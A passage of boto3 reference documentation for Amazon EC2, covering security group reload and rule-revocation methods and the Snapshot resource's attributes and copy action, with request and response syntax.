Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_security_groups()](#EC2.Client.describe_security_groups "EC2.Client.describe_security_groups") to update the attributes of the SecurityGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +security_group.reload() + +Returns + +None + +revoke_egress(kwargs_) + +[VPC only] Removes the specified egress rules from a security group for EC2-VPC. This action does not apply to security groups for use in EC2-Classic. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[Default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the IPv4 or IPv6 CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupEgress) + +**Request Syntax** + +response = security_group.revoke_egress( + DryRun=True|False, + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + CidrIp='string', + FromPort=123, + IpProtocol='string', + ToPort=123, + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string' +) + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a destination security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **CidrIp** (_string_) -- Not supported. Use a set of IP permissions to specify the CIDR. +* **FromPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **IpProtocol** (_string_) -- Not supported. Use a set of IP permissions to specify the protocol name or number. +* **ToPort** (_integer_) -- Not supported. Use a set of IP permissions to specify the port. +* **SourceSecurityGroupName** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. +* **SourceSecurityGroupOwnerId** (_string_) -- Not supported. Use a set of IP permissions to specify a destination security group. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The outbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +revoke_ingress(kwargs_) + +Removes the specified ingress rules from a security group. To remove a rule, the values that you specify (for example, ports) must match the existing rule's values exactly. + +Note + +[EC2-Classic , default VPC] If the values you specify do not match the existing rule's values, no error is returned, and the output describes the security group rules that were not revoked. + +AWS recommends that you use DescribeSecurityGroups to verify that the rule has been removed. + +Each rule consists of the protocol and the CIDR range or source security group. For the TCP and UDP protocols, you must also specify the destination port or range of ports. For the ICMP protocol, you must also specify the ICMP type and code. If the security group rule has a description, you do not have to specify the description to revoke the rule. + +Rule changes are propagated to instances within the security group as quickly as possible. However, a small delay might occur. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RevokeSecurityGroupIngress) + +**Request Syntax** + +response = security_group.revoke_ingress( + CidrIp='string', + FromPort=123, + GroupName='string', + IpPermissions=[ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ], + IpProtocol='string', + SourceSecurityGroupName='string', + SourceSecurityGroupOwnerId='string', + ToPort=123, + DryRun=True|False +) + +Parameters + +* **CidrIp** (_string_) -- The CIDR IP address range. You can't specify this parameter when specifying a source security group. +* **FromPort** (_integer_) -- The start of port range for the TCP and UDP protocols, or an ICMP type number. For the ICMP type number, use -1 to specify all ICMP types. +* **GroupName** (_string_) -- [EC2-Classic, default VPC] The name of the security group. You must specify either the security group ID or the security group name in the request. +* **IpPermissions** (_list_) -- + + The sets of IP permissions. You can't specify a source security group and a CIDR IP address range in the same set of permissions. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + +* **IpProtocol** (_string_) -- The IP protocol name (tcp , udp , icmp ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). Use -1 to specify all. +* **SourceSecurityGroupName** (_string_) -- [EC2-Classic, default VPC] The name of the source security group. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the start of the port range, the IP protocol, and the end of the port range. For EC2-VPC, the source security group must be in the same VPC. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **SourceSecurityGroupOwnerId** (_string_) -- [EC2-Classic] The AWS account ID of the source security group, if the source security group is in a different account. You can't specify this parameter in combination with the following parameters: the CIDR IP address range, the IP protocol, the start of the port range, and the end of the port range. To revoke a specific rule for an IP protocol and port range, use a set of IP permissions instead. +* **ToPort** (_integer_) -- The end of port range for the TCP and UDP protocols, or an ICMP code number. For the ICMP code number, use -1 to specify all ICMP codes for the ICMP type. +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False, + 'UnknownIpPermissions': [ + { + 'FromPort': 123, + 'IpProtocol': 'string', + 'IpRanges': [ + { + 'CidrIp': 'string', + 'Description': 'string' + }, + ], + 'Ipv6Ranges': [ + { + 'CidrIpv6': 'string', + 'Description': 'string' + }, + ], + 'PrefixListIds': [ + { + 'Description': 'string', + 'PrefixListId': 'string' + }, + ], + 'ToPort': 123, + 'UserIdGroupPairs': [ + { + 'Description': 'string', + 'GroupId': 'string', + 'GroupName': 'string', + 'PeeringStatus': 'string', + 'UserId': 'string', + 'VpcId': 'string', + 'VpcPeeringConnectionId': 'string' + }, + ] + }, + ] +} + +**Response Structure** + +* _(dict) --_ + + * **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, returns an error. + + * **UnknownIpPermissions** _(list) --_ + + The inbound rules that were unknown to the service. In some cases, unknownIpPermissionSet might be in a different format from the request parameter. + + * _(dict) --_ + + Describes a set of permissions for a security group rule. + + * **FromPort** _(integer) --_ + + The start of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 type number. A value of -1 indicates all ICMP/ICMPv6 types. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **IpProtocol** _(string) --_ + + The IP protocol name (tcp , udp , icmp , icmpv6 ) or number (see [Protocol Numbers](https://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml) ). + + [VPC only] Use -1 to specify all protocols. When authorizing security group rules, specifying -1 or a protocol number other than tcp , udp , icmp , or icmpv6 allows traffic on all ports, regardless of any port range you specify. For tcp , udp , and icmp , you must specify a port range. For icmpv6 , the port range is optional; if you omit the port range, traffic for all types and codes is allowed. + + * **IpRanges** _(list) --_ + + The IPv4 ranges. + + * _(dict) --_ + + Describes an IPv4 range. + + * **CidrIp** _(string) --_ + + The IPv4 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv4 address, use the /32 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv4 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **Ipv6Ranges** _(list) --_ + + [VPC only] The IPv6 ranges. + + * _(dict) --_ + + [EC2-VPC only] Describes an IPv6 range. + + * **CidrIpv6** _(string) --_ + + The IPv6 CIDR range. You can either specify a CIDR range or a source security group, not both. To specify a single IPv6 address, use the /128 prefix length. + + * **Description** _(string) --_ + + A description for the security group rule that references this IPv6 address range. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=&;{}!$* + + * **PrefixListIds** _(list) --_ + + [VPC only] The prefix list IDs. + + * _(dict) --_ + + Describes a prefix list ID. + + * **Description** _(string) --_ + + A description for the security group rule that references this prefix list ID. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **PrefixListId** _(string) --_ + + The ID of the prefix. + + * **ToPort** _(integer) --_ + + The end of port range for the TCP and UDP protocols, or an ICMP/ICMPv6 code. A value of -1 indicates all ICMP/ICMPv6 codes. If you specify all ICMP/ICMPv6 types, you must specify all codes. + + * **UserIdGroupPairs** _(list) --_ + + The security group and AWS account ID pairs. + + * _(dict) --_ + + Describes a security group and AWS account ID pair. + + * **Description** _(string) --_ + + A description for the security group rule that references this user ID group pair. + + Constraints: Up to 255 characters in length. Allowed characters are a-z, A-Z, 0-9, spaces, and ._-:/()#,@[]+=;{}!$* + + * **GroupId** _(string) --_ + + The ID of the security group. + + * **GroupName** _(string) --_ + + The name of the security group. In a request, use this parameter for a security group in EC2-Classic or a default VPC only. For a security group in a nondefault VPC, use the security group ID. + + For a referenced security group in another VPC, this value is not returned if the referenced security group is deleted. + + * **PeeringStatus** _(string) --_ + + The status of a VPC peering connection, if applicable. + + * **UserId** _(string) --_ + + The ID of an AWS account. + + For a referenced security group in another VPC, the account ID of the referenced security group is returned in the response. If the referenced security group is deleted, this value is not returned. + + [EC2-Classic] Required when adding or removing rules that reference a security group in another AWS account. + + * **VpcId** _(string) --_ + + The ID of the VPC for the referenced security group, if applicable. + + * **VpcPeeringConnectionId** _(string) --_ + + The ID of the VPC peering connection, if applicable. + + +[Snapshot](#id1252) +-------------------------------------------------------------- + +_class_ EC2.Snapshot(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Snapshot: + +import boto3 + +ec2 = boto3.resource('ec2') +snapshot = ec2.Snapshot('id') + +Parameters + +**id** (_string_) -- The Snapshot's id identifier. This **must** be set. + +These are the resource's available identifiers: + +* [id](#EC2.Snapshot.id "EC2.Snapshot.id") + +These are the resource's available attributes: + +* [data_encryption_key_id](#EC2.Snapshot.data_encryption_key_id "EC2.Snapshot.data_encryption_key_id") +* [description](#EC2.Snapshot.description "EC2.Snapshot.description") +* [encrypted](#EC2.Snapshot.encrypted "EC2.Snapshot.encrypted") +* [kms_key_id](#EC2.Snapshot.kms_key_id "EC2.Snapshot.kms_key_id") +* [owner_alias](#EC2.Snapshot.owner_alias "EC2.Snapshot.owner_alias") +* [owner_id](#EC2.Snapshot.owner_id "EC2.Snapshot.owner_id") +* [progress](#EC2.Snapshot.progress "EC2.Snapshot.progress") +* [snapshot_id](#EC2.Snapshot.snapshot_id "EC2.Snapshot.snapshot_id") +* [start_time](#EC2.Snapshot.start_time "EC2.Snapshot.start_time") +* [state](#EC2.Snapshot.state "EC2.Snapshot.state") +* [state_message](#EC2.Snapshot.state_message "EC2.Snapshot.state_message") +* [tags](#EC2.Snapshot.tags "EC2.Snapshot.tags") +* [volume_id](#EC2.Snapshot.volume_id "EC2.Snapshot.volume_id") +* [volume_size](#EC2.Snapshot.volume_size "EC2.Snapshot.volume_size") + +These are the resource's available references: + +* [volume](#EC2.Snapshot.volume "EC2.Snapshot.volume") + +These are the resource's available actions: + +* [copy()](#EC2.Snapshot.copy "EC2.Snapshot.copy") +* [create_tags()](#EC2.Snapshot.create_tags "EC2.Snapshot.create_tags") +* [delete()](#EC2.Snapshot.delete "EC2.Snapshot.delete") +* [describe_attribute()](#EC2.Snapshot.describe_attribute "EC2.Snapshot.describe_attribute") +* [get_available_subresources()](#EC2.Snapshot.get_available_subresources "EC2.Snapshot.get_available_subresources") +* [load()](#EC2.Snapshot.load "EC2.Snapshot.load") +* [modify_attribute()](#EC2.Snapshot.modify_attribute "EC2.Snapshot.modify_attribute") +* [reload()](#EC2.Snapshot.reload "EC2.Snapshot.reload") +* [reset_attribute()](#EC2.Snapshot.reset_attribute "EC2.Snapshot.reset_attribute") + +These are the resource's available waiters: + +* [wait_until_completed()](#EC2.Snapshot.wait_until_completed "EC2.Snapshot.wait_until_completed") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Snapshot's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Snapshot.load "EC2.Snapshot.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +data_encryption_key_id + +* _(string) --_ + + The data encryption key identifier for the snapshot. This value is a unique identifier that corresponds to the data encryption key that was used to encrypt the original volume or snapshot copy. Because data encryption keys are inherited by volumes created from snapshots, and vice versa, if snapshots share the same data encryption key identifier, then they belong to the same volume/snapshot lineage. This parameter is only returned by DescribeSnapshots . + + +description + +* _(string) --_ + + The description for the snapshot. + + +encrypted + +* _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + +kms_key_id + +* _(string) --_ + + The Amazon Resource Name (ARN) of the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to protect the volume encryption key for the parent volume. + + +owner_alias + +* _(string) --_ + + The AWS owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. + + +owner_id + +* _(string) --_ + + The AWS account ID of the EBS snapshot owner. + + +progress + +* _(string) --_ + + The progress of the snapshot, as a percentage. + + +snapshot_id + +* _(string) --_ + + The ID of the snapshot. Each snapshot receives a unique identifier when it is created. + + +start_time + +* _(datetime) --_ + + The time stamp when the snapshot was initiated. + + +state + +* _(string) --_ + + The snapshot state. + + +state_message + +* _(string) --_ + + Encrypted Amazon EBS snapshots are copied asynchronously. If a snapshot copy operation fails (for example, if the proper AWS Key Management Service (AWS KMS) permissions are not obtained) this field displays error state details to help you diagnose why the error occurred. This parameter is only returned by DescribeSnapshots . + + +tags + +* _(list) --_ + + Any tags assigned to the snapshot. + + * _(dict) --_ + + Describes a tag. + + * **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +volume_id + +* _(string) --_ + + The ID of the volume that was used to create the snapshot. Snapshots created by the CopySnapshot action have an arbitrary volume ID that should not be used for any purpose. + + +volume_size + +* _(integer) --_ + + The size of the volume, in GiB. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +volume + +(Volume) The related volume if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +copy(kwargs_) + +Copies a point-in-time snapshot of an EBS volume and stores it in Amazon S3. You can copy the snapshot within the same Region or from one Region to another. You can use the snapshot to create EBS volumes or Amazon Machine Images (AMIs). + +Copies of encrypted EBS snapshots remain encrypted. Copies of unencrypted snapshots remain unencrypted, unless you enable encryption for the snapshot copy operation. By default, encrypted snapshot copies use the default AWS Key Management Service (AWS KMS) customer master key (CMK); however, you can specify a different CMK. + +To copy an encrypted snapshot that has been shared from another account, you must have permissions for the CMK used to encrypt the snapshot. + +Snapshots created by copying another snapshot have an arbitrary volume ID that should not be used for any purpose. + +For more information, see [Copying an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-copy-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CopySnapshot) + +**Request Syntax** + +response = snapshot.copy( + Description='string', + Encrypted=True|False, + KmsKeyId='string', + SourceRegion='string', + TagSpecifications=[ + { + 'ResourceType': 'client-vpn-endpoint'|'customer-gateway'|'dedicated-host'|'dhcp-options'|'egress-only-internet-gateway'|'elastic-ip'|'elastic-gpu'|'export-image-task'|'export-instance-task'|'fleet'|'fpga-image'|'host-reservation'|'image'|'import-image-task'|'import-snapshot-task'|'instance'|'internet-gateway'|'key-pair'|'launch-template'|'local-gateway-route-table-vpc-association'|'natgateway'|'network-acl'|'network-interface'|'network-insights-analysis'|'network-insights-path'|'placement-group'|'reserved-instances'|'route-table'|'security-group'|'snapshot'|'spot-fleet-request'|'spot-instances-request'|'subnet'|'traffic-mirror-filter'|'traffic-mirror-session'|'traffic-mirror-target'|'transit-gateway'|'transit-gateway-attachment'|'transit-gateway-connect-peer'|'transit-gateway-multicast-domain'|'transit-gateway-route-table'|'volume'|'vpc'|'vpc-peering-connection'|'vpn-connection'|'vpn-gateway'|'vpc-flow-log', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + DryRun=True|False +) + +Parameters + +* **Description** (_string_) -- A description for the EBS snapshot. +* **DestinationRegion** (_string_) -- + + The destination Region to use in the PresignedUrl parameter of a snapshot copy operation. This parameter is only valid for specifying the destination Region in a PresignedUrl parameter, where it is required. + + The snapshot copy is sent to the regional endpoint that you sent the HTTP request to (for example, ec2.us-east-1.amazonaws.com ). With the AWS CLI, this is specified using the --region parameter or the default Region in your AWS configuration file. + + > Please note that this parameter is automatically populated if it is not provided. Including this parameter is not required + +* **Encrypted** (_boolean_) -- To encrypt a copy of an unencrypted snapshot if encryption by default is not enabled, enable encryption using this parameter. Otherwise, omit this parameter. Encrypted snapshots are encrypted, even if you omit this parameter and encryption by default is not enabled. You cannot set this parameter to false. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . +* **KmsKeyId** (_string_) -- + + The identifier of the AWS Key Management Service (AWS KMS) customer master key (CMK) to use for Amazon EBS encryption. If this parameter is not specified, your AWS managed CMK for EBS is used. If KmsKeyId is specified, the encrypted state must be true . + + You can specify the CMK using any of the following: + + * Key ID. For example, 1234abcd-12ab-34cd-56ef-1234567890ab. + * Key alias. For example, alias/ExampleAlias. + * Key ARN. For example, arn:aws:kms:us-east-1:012345678910:key/1234abcd-12ab-34cd-56ef-1234567890ab. + * 